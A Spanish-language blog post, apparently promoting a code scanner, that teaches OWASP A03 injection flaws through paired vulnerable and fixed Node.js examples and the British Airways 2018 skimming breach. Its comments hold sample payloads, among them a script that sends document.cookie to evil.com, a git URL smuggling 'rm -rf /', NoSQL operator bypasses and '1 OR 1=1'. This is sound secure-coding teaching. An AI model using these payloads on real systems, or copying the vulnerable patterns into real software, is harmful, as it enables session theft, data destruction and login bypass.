← Blog
·12 min read

OWASP A03 Ataques de Inyección

OWASP A03:2021 Inyección cubre SQL, NoSQL, XSS, inyección de comandos y más. Código vulnerable vs. seguro en Node.js, un breach real, y cinco estrategias de prevención.

Rod

Founder & Developer

OWASP A03:2021 Inyección bajó del puesto #1 al #3 en la lista de 2021, pero en parte es porque OWASP incorporó XSS a la categoría. El problema creció, no se redujo. Las vulnerabilidades de inyección aparecen en el 94% de las aplicaciones analizadas, con más de 274,000 ocurrencias documentadas. Cubre SQL injection, NoSQL injection, inyección de comandos, XSS, inyección de plantillas del lado del servidor, y más.

Esta guía cubre cada tipo con ejemplos reales en Node.js que puedes copiar y pegar — cómo se ve el código vulnerable, por qué falla, y el fix exacto.


Por Qué la Inyección Sigue Dominando Después de 20 Años

Los ataques de inyección funcionan porque las aplicaciones confían en el input del usuario. Eso es todo. Cada variante de inyección tiene la misma causa raíz: los datos cruzan la frontera hacia un intérprete sin validación ni escape.

La actualización de OWASP 2021 integró Cross-Site Scripting (XSS) en A03 porque es estructuralmente idéntico al SQL injection: estás inyectando código en un intérprete (el motor JavaScript del navegador) a través de input no validado. Tres categorías se convirtieron en una.

CWE-89 (SQL Injection), CWE-79 (Cross-site Scripting) y CWE-77 (Command Injection) son los miembros más comunes de esta familia. También están entre los más explotados en breaches reales.

La razón por la que la inyección persiste no es ignorancia — es presión. Estás deployando rápido. La IA escribe la consulta. Tú la aceptas. El detalle de la parametrización se omite porque el código funciona en testing. Luego falla en producción de maneras que salen en las noticias.


Cada Tipo de Ataque de Inyección Explicado

SQL Injection (CWE-89)

El clásico. El input del usuario llega a un string de consulta SQL y la base de datos ejecuta lo que el atacante escribió.

// MAL: La interpolación de strings convierte el input del usuario en SQL ejecutable
const id = req.params.id; // el atacante envía: 1 OR 1=1
const result = await db.query(`SELECT * FROM users WHERE id = ${id}`);
// Ejecuta: SELECT * FROM users WHERE id = 1 OR 1=1
// Retorna todos los usuarios de la base de datos
// BIEN: Consulta parametrizada — el input del usuario es dato, nunca código
const id = req.params.id;
const result = await db.query('SELECT * FROM users WHERE id = $1', [id]);
// La base de datos trata $1 como un valor, no como SQL ejecutable
// Un intento de inyección retorna cero filas en lugar de todas las filas

El fix no es complicado. Las consultas parametrizadas existen desde los años 90. El problema es que la interpolación de strings se siente natural en JavaScript y produce código que funciona — hasta que un atacante lo intenta.

Los ORMs como Prisma y Drizzle usan consultas parametrizadas por default, lo cual es una ventaja real de seguridad. Pero los strings de consulta raw dentro de un ORM (Prisma.$queryRaw) pueden seguir siendo vulnerables.

NoSQL Injection

Document stores como MongoDB no usan SQL, pero tampoco son inmunes. Las consultas de MongoDB usan objetos con operadores, y si pasas esos objetos directamente desde el input del usuario, el atacante puede manipular la lógica de la consulta.

// MAL: req.body.email podría ser { $gt: "" } en vez de "usuario@ejemplo.com"
const user = await db.collection('users').findOne({
  email: req.body.email,
  password: req.body.password,
});
// El atacante envía: { "email": { "$gt": "" }, "password": { "$gt": "" } }
// MongoDB encuentra el primer usuario donde email > "" — o sea, cualquier usuario
// Autenticación bypasseada sin conocer ninguna contraseña
// BIEN: Validar con Zod antes de que llegue a la base de datos
import { z } from 'zod';
 
const loginSchema = z.object({
  email: z.string().email(),     // debe ser un string de email válido, no un objeto
  password: z.string().min(8),   // debe ser un string, no un operador
});
 
const parsed = loginSchema.parse(req.body); // lanza si el input es inválido
const user = await db.collection('users').findOne({
  email: parsed.email,
  password: parsed.password,
});

La coerción de tipos de Zod hace que un objeto como { $gt: "" } falle .string() inmediatamente. La consulta nunca se ejecuta.

Inyección de Comandos (CWE-77)

Tu aplicación ejecuta un comando del sistema con datos proporcionados por el usuario. El atacante agrega su propio comando usando metacaracteres del shell.

import { exec } from 'child_process';
 
// MAL: el atacante envía url = "https://example.com && rm -rf /"
const url = req.body.url;
exec(`git clone ${url}`, (err, stdout) => {
  // El shell interpreta && como "y luego ejecuta este otro comando"
  // rm -rf / se ejecuta con los permisos del proceso del servidor
});
import { execFile } from 'child_process';
 
// BIEN: execFile no invoca un shell — sin interpretación de metacaracteres
const url = req.body.url;
execFile('git', ['clone', url], (err, stdout) => {
  // url se pasa como argumento literal a git, no lo interpreta el shell
  // && rm -rf / se trata como parte del string de la URL y git lo rechaza
});

exec() le pasa el string del comando a un shell (/bin/sh), que interpreta &&, ;, |, backticks y $(). execFile() llama al binario directamente — sin shell, sin interpretación. Usa execFile() o spawn() con argumentos separados siempre que ejecutes comandos del sistema con datos del usuario.

Cross-Site Scripting — XSS (CWE-79)

XSS inyecta JavaScript en páginas que otros usuarios ven. El navegador lo ejecuta con las credenciales de la víctima. En un ataque de Stored XSS, el payload vive en tu base de datos y se ejecuta para cada usuario que carga esa página.

// MAL: Renderiza HTML crudo desde contenido provisto por el usuario — vector clásico de Stored XSS
function CommentBlock({ comment }) {
  return (
    <div dangerouslySetInnerHTML={{ __html: comment.body }} />
    // Si comment.body es "<script>fetch('https://evil.com/?c='+document.cookie)</script>"
    // cada usuario que vea este comentario envía su cookie de sesión al atacante
  );
}
import DOMPurify from 'dompurify';
 
// BIEN: Sanitizar antes de renderizar — DOMPurify elimina tags y atributos peligrosos
function CommentBlock({ comment }) {
  const clean = DOMPurify.sanitize(comment.body, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
    ALLOWED_ATTR: ['href'],
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

El JSX de React escapa los strings por default ({comment.body} es seguro). El peligro está en dangerouslySetInnerHTML — que literalmente está nombrado para advertirte. Si no necesitas renderizar HTML, no lo hagas. Si lo necesitas, sanitízalo primero.

Para DOM-based XSS, el ataque vive completamente en JavaScript del lado del cliente. Sinks como innerHTML, document.write(), eval() y location.href = userInput son los culpables habituales. Nuestra entrada enciclopédica sobre DOM-Based XSS profundiza en los sinks específicos que debes auditar.

Inyección de Plantillas del Lado del Servidor (SSTI)

Los motores de plantillas como Handlebars, Pug o EJS evalúan expresiones dentro de las plantillas. Si el input del usuario llega a la plantilla como código en lugar de como dato, el servidor lo evalúa.

// MAL: el input del usuario se compila como expresión de plantilla
const Handlebars = require('handlebars');
const userTemplate = req.body.template; // el atacante envía: {{#with "constructor"}}...
const template = Handlebars.compile(userTemplate);
const output = template({});
// Sin no-prototype-access activado, puede filtrar internos del servidor
// BIEN: Tratar el input del usuario como dato dentro de una plantilla fija
const Handlebars = require('handlebars');
const template = Handlebars.compile('Hola, {{name}}!'); // la plantilla está hardcodeada
const output = template({ name: req.body.name }); // el input del usuario es dato, no código

SSTI puede escalar a Remote Code Execution (RCE). Es particularmente peligroso porque la superficie de ataque no es obvia — aparece en features como plantillas de email personalizadas, formatos de reportes definidos por el usuario, o cualquier UI de "previsualiza tu plantilla". La entrada sobre Server-Side Template Injection en nuestra enciclopedia de seguridad cubre los payloads por lenguaje.

Inyección LDAP e Inyección de Headers

Inyección LDAP apunta a aplicaciones que consultan servicios de directorio (Active Directory, OpenLDAP). El input del usuario insertado en un filtro LDAP sin escape permite a los atacantes modificar la lógica del filtro — la misma causa raíz que el SQL injection, pero para un lenguaje de consulta diferente.

Inyección de headers (también llamada HTTP response splitting) ocurre cuando el input del usuario llega a un header de respuesta HTTP sin sanitizar. Un \r\n en el input le permite al atacante inyectar nuevos headers o incluso un cuerpo de respuesta falso. Nunca construyas headers directamente desde input del usuario.


Un Breach Real: British Airways 2018

En 2018, British Airways sufrió un breach que expuso los datos de tarjetas de pago de 500,000 clientes. El ataque fue un Stored XSS skimming attack: los atacantes inyectaron un script malicioso en la página de reservas que enviaba silenciosamente los detalles de pago a un servidor controlado por el atacante mientras los clientes los escribían.

El script inyectado tenía 22 líneas. Recolectaba datos del formulario — nombre, dirección, número de tarjeta, CVV, vencimiento — y los enviaba vía HTTPS a un dominio que imitaba al de la aerolínea (baways.com). El breach duró dos semanas antes de ser detectado.

British Airways fue multada con £20 millones por la ICO del Reino Unido bajo GDPR. La causa raíz fue no sanitizar el contenido cargado desde scripts de terceros y la ausencia de un header Content Security Policy que hubiera bloqueado la solicitud saliente no autorizada.

El fix técnico era: sanitizar todo el HTML provisto por el usuario, auditar las inclusiones de scripts de terceros, y agregar un header CSP que restringiera qué dominios podían recibir datos del formulario. Veintidós líneas de JavaScript le costaron a la empresa £20 millones.


Cómo Prevenir los Ataques de Inyección OWASP: Cinco Estrategias que Funcionan

1. Consultas Parametrizadas — Siempre

Para SQL: nunca concatenes. Siempre usa placeholders $1 con la librería pg, ? con MySQL, o deja que tu ORM lo maneje. Si estás construyendo strings de consulta con variables en cualquier parte de tu codebase, eso es un hallazgo de seguridad.

2. Validación de Entrada con Zod

Valida la forma y el tipo de cada input externo antes de que toque cualquier intérprete. Esto atrapa operadores de NoSQL injection, tipos inesperados y payloads demasiado grandes antes de que puedan hacer daño.

import { z } from 'zod';
 
// Define exactamente qué es aceptable — cualquier otra cosa lanza antes de llegar a la BD
const createPostSchema = z.object({
  title: z.string().min(1).max(200),
  body: z.string().max(10000),
  tags: z.array(z.string().max(50)).max(10),
});
 
const data = createPostSchema.parse(req.body);

Nuestra entrada sobre No Input Validation en la enciclopedia documenta qué pasa cuando se omite este paso.

3. Codificación de Salida para Contextos HTML

La validación controla qué entra a tu sistema. La codificación de salida controla qué renderiza el navegador. No son la misma capa.

  • Usa el JSX de React para contenido de texto — codifica por default
  • Usa DOMPurify.sanitize() antes de cualquier dangerouslySetInnerHTML
  • Nunca concatenes strings de usuario en innerHTML
  • La entrada sobre dangerouslySetInnerHTML Without Sanitization muestra exactamente qué pueden hacer los atacantes con esto

4. Headers Content Security Policy

Un header HTTP Content Security Policy (CSP) le dice al navegador qué fuentes tienen permitido cargar scripts, estilos y otros recursos. Aunque un payload XSS logre inyectarse, un CSP estricto previene que el dominio controlado por el atacante reciba los datos exfiltrados.

Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; form-action 'self';

Este único header hubiera limitado el impacto del breach de British Airways. Si no estás configurando security headers, nuestro verificador de headers gratuito te muestra tu calificación actual en segundos.

5. Evitar eval() y Ejecución Dinámica de Código

eval(), new Function(), setTimeout('código string') y setInterval('código string') ejecutan JavaScript arbitrario. Casi nunca son necesarios y convierten cualquier XSS o inyección en ejecución de código completa.

// MAL: eval() con input del usuario = ejecución de código remoto
const result = eval(req.body.expression);
 
// BIEN: parsear el valor, no ejecutarlo
const result = Number(req.body.expression); // o usar una librería matemática segura

La entrada sobre eval() with User Input en la enciclopedia cubre todas las APIs hermanas de eval() que son igual de peligrosas.


Lo que la Mayoría de los Artículos No Menciona: Prototype Pollution como Vector de Inyección

Prototype pollution (CWE-1321) es un ataque de inyección específico de JavaScript. Un atacante provee una clave como __proto__ o constructor.prototype en un objeto JSON parseado, y un Object.assign() o deep merge descuidado modifica el Object.prototype base. A partir de ahí, cada objeto en la aplicación hereda la propiedad inyectada por el atacante.

Esto ha provocado RCE en varias librerías populares de Node.js. Es menos obvio que el SQL injection pero el fix es similar: validar la forma de los datos entrantes antes de pasarlos a funciones de merge. Nuestra entrada sobre Prototype Pollution en la enciclopedia muestra exactamente qué patrones de merge son vulnerables.


Cómo Encontrar Vulnerabilidades de Inyección en Tu Código

Hemos escaneado cientos de repos reales y los hallazgos relacionados con inyección están consistentemente en los primeros tres lugares. Los patrones más comunes:

  • Template literals dentro de llamadas a db.query(), db.execute() o pool.query()
  • Campos de req.body pasados directamente a collection.find() sin validación con Zod
  • exec() o execSync() con cualquier argumento de string dinámico
  • dangerouslySetInnerHTML sin una llamada previa a DOMPurify.sanitize()
  • eval() en cualquier parte del código de la aplicación (no en tests)

El análisis estático detecta esto de manera confiable porque son patrones sintácticos, no comportamiento en tiempo de ejecución. No necesitas ejecutar la aplicación para encontrarlos.

Data Hogo ejecuta pattern matching en todo tu codebase para encontrar construcciones susceptibles a inyección — junto con verificaciones de inyección y otras vulnerabilidades OWASP, secretos expuestos, dependencias desactualizadas y headers de seguridad faltantes. El escaneo corre sobre tu repo de GitHub y tarda menos de 60 segundos.

Escanea tu repo para detectar vulnerabilidades de inyección gratis →


Preguntas Frecuentes

¿Qué es OWASP A03:2021 Inyección?

OWASP A03:2021 Inyección es la tercera categoría del OWASP Top 10 y cubre los ataques donde datos no confiables se envían a un intérprete como parte de un comando o consulta. Incluye SQL injection, NoSQL injection, inyección de comandos, XSS, SSTI, inyección LDAP e inyección de headers. Aparece en el 94% de las aplicaciones analizadas, con más de 274,000 ocurrencias documentadas.

¿Cuál es la diferencia entre SQL injection y NoSQL injection?

SQL injection ataca bases de datos relacionales insertando sintaxis SQL maliciosa en las consultas. NoSQL injection ataca document stores como MongoDB manipulando operadores de consulta — por ejemplo, enviando { $gt: '' } como valor de un campo para saltarse la autenticación. La superficie de ataque es diferente, pero la causa raíz es la misma: confiar en el input del usuario sin validación ni parametrización.

¿Cómo prevenir SQL injection en Node.js?

Usa consultas parametrizadas (también llamadas prepared statements) en lugar de concatenación de strings. Con la librería pg: db.query('SELECT * FROM users WHERE id = $1', [id]) — nunca db.query(`SELECT * FROM users WHERE id = ${id}`). ORMs como Prisma y Drizzle usan consultas parametrizadas por default. Nunca construyas strings de consulta con input del usuario, ni siquiera para nombres de columnas o cláusulas ORDER BY.

¿Qué es XSS y es un ataque de inyección?

Sí. XSS (Cross-Site Scripting) es un ataque de inyección donde JavaScript malicioso se inyecta en páginas web que otros usuarios ven. OWASP A03:2021 incorporó XSS explícitamente a la categoría de Inyección por primera vez. Hay tres tipos: Stored XSS (persistido en la base de datos), Reflected XSS (desde parámetros de URL) y DOM-based XSS (desde JavaScript en el cliente). Prevención: codificación de salida, DOMPurify para HTML y un header Content Security Policy.

¿Cómo detecto vulnerabilidades de inyección en mi código?

Las herramientas de análisis estático escanean tu código en busca de patrones susceptibles a inyección: concatenación de strings en consultas, eval() con input del usuario, exec() con argumentos dinámicos, dangerouslySetInnerHTML sin sanitizar, y validación de entrada ausente. Data Hogo ejecuta estas verificaciones automáticamente en tu repo de GitHub — el primer escaneo es gratis y tarda menos de 60 segundos.

OWASPinyecciónSQL injectionXSSseguridadNode.jsJavaScriptvibe-coding